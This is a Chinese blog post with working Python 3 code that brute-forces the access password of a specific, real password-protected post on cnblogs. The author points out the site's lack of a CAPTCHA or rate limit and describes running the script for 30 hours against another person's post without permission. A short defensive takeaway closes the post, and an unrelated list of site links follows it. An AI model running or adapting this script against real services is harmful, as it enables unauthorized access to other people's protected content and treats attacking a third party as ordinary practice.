python3实现暴力穷举博客园密码


Posted in Python onJune 19, 2016

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
        with open("resut.csv","a+") as f:
          f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

Python 相关文章推荐
Python中max函数用法实例分析
Jul 17 Python
Python找出list中最常出现元素的方法
Jun 14 Python
python生成tensorflow输入输出的图像格式的方法
Feb 12 Python
Python 实现删除某路径下文件及文件夹的实例讲解
Apr 24 Python
Python查看微信撤回消息代码
Jun 07 Python
Python实现基于C/S架构的聊天室功能详解
Jul 07 Python
Python Pandas批量读取csv文件到dataframe的方法
Oct 08 Python
Python操作注册表详细步骤介绍
Feb 05 Python
python 回溯法模板详解
Feb 26 Python
pytorch 中autograd.grad()函数的用法说明
May 12 Python
Python连接Postgres/Mysql/Mongo数据库基本操作大全
Jun 29 Python
再谈python_tkinter弹出对话框创建
Mar 20 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
Jun 18 #Python
Python中使用装饰器来优化尾递归的示例
Jun 18 #Python
举例讲解Python面向对象编程中类的继承
Jun 17 #Python
浅谈python为什么不需要三目运算符和switch
Jun 17 #Python
python运行时间的几种方法
Jun 17 #Python
从局部变量和全局变量开始全面解析Python中变量的作用域
Jun 16 #Python
实例讲解Python中global语句下全局变量的值的修改
Jun 16 #Python
You might like
php中可能用来加密字符串的函数[base64_encode、urlencode、sha1]
2012/01/16 PHP
ThinkPHP之getField详解
2014/06/20 PHP
thinkPHP实现表单自动验证
2014/12/24 PHP
PHP5多态性与动态绑定介绍
2015/04/03 PHP
JavaScript 入门基础知识 想学习js的朋友可以参考下
2009/12/26 Javascript
javascript中删除指定数组中指定的元素的代码
2011/02/12 Javascript
jquery里的正则表达式说明
2011/08/03 Javascript
js实现楼层效果的简单实例
2016/07/15 Javascript
js正则表达式验证密码强度【推荐】
2017/03/03 Javascript
jQuery操作DOM_动力节点Java学院整理
2017/07/04 jQuery
bootstrap treeview 扩展addNode方法动态添加子节点的方法
2017/11/21 Javascript
利用vue + koa2 + mockjs模拟数据的方法教程
2017/11/22 Javascript
Servlet3.0与纯javascript通过Ajax交互的实例详解
2018/03/18 Javascript
react-router 路由切换动画的实现示例
2018/12/03 Javascript
解决element ui select下拉框不回显数据问题的解决
2019/02/20 Javascript
浅谈vue生命周期共有几个阶段?分别是什么?
2020/08/07 Javascript
vue 数据双向绑定的实现方法
2021/03/04 Vue.js
python文件读写并使用mysql批量插入示例分享(python操作mysql)
2014/02/17 Python
浅析Python中yield关键词的作用与用法
2016/11/29 Python
python调试神器PySnooper的使用
2019/07/03 Python
美国婚戒购物网站:Anjays Designs
2017/06/28 全球购物
法国票务网站:Ticketmaster法国
2018/07/09 全球购物
新加坡最佳婴儿用品店:Mamahood.com.sg
2018/08/26 全球购物
印度最好的在线药品订购网站:PharmEasy
2018/11/30 全球购物
即将毕业大学生自荐信
2014/01/24 职场文书
求职简历自我评价范例
2014/03/12 职场文书
购房公证委托书(2014版)
2014/09/12 职场文书
党的群众路线对照检查材料
2014/09/22 职场文书
先进基层党组织事迹材料
2014/12/25 职场文书
学术会议通知
2015/04/15 职场文书
交通安全主题班会
2015/08/12 职场文书
2016应届毕业生实习心得体会
2015/10/09 职场文书
2016年植树节红领巾广播稿
2015/12/17 职场文书
使用SQL实现车流量的计算的示例代码
2022/02/28 SQL Server
python 判断文件或文件夹是否存在
2022/03/18 Python
Win11 21h2可以升级22h2吗?看看你的电脑符不符合要求
2022/07/07 数码科技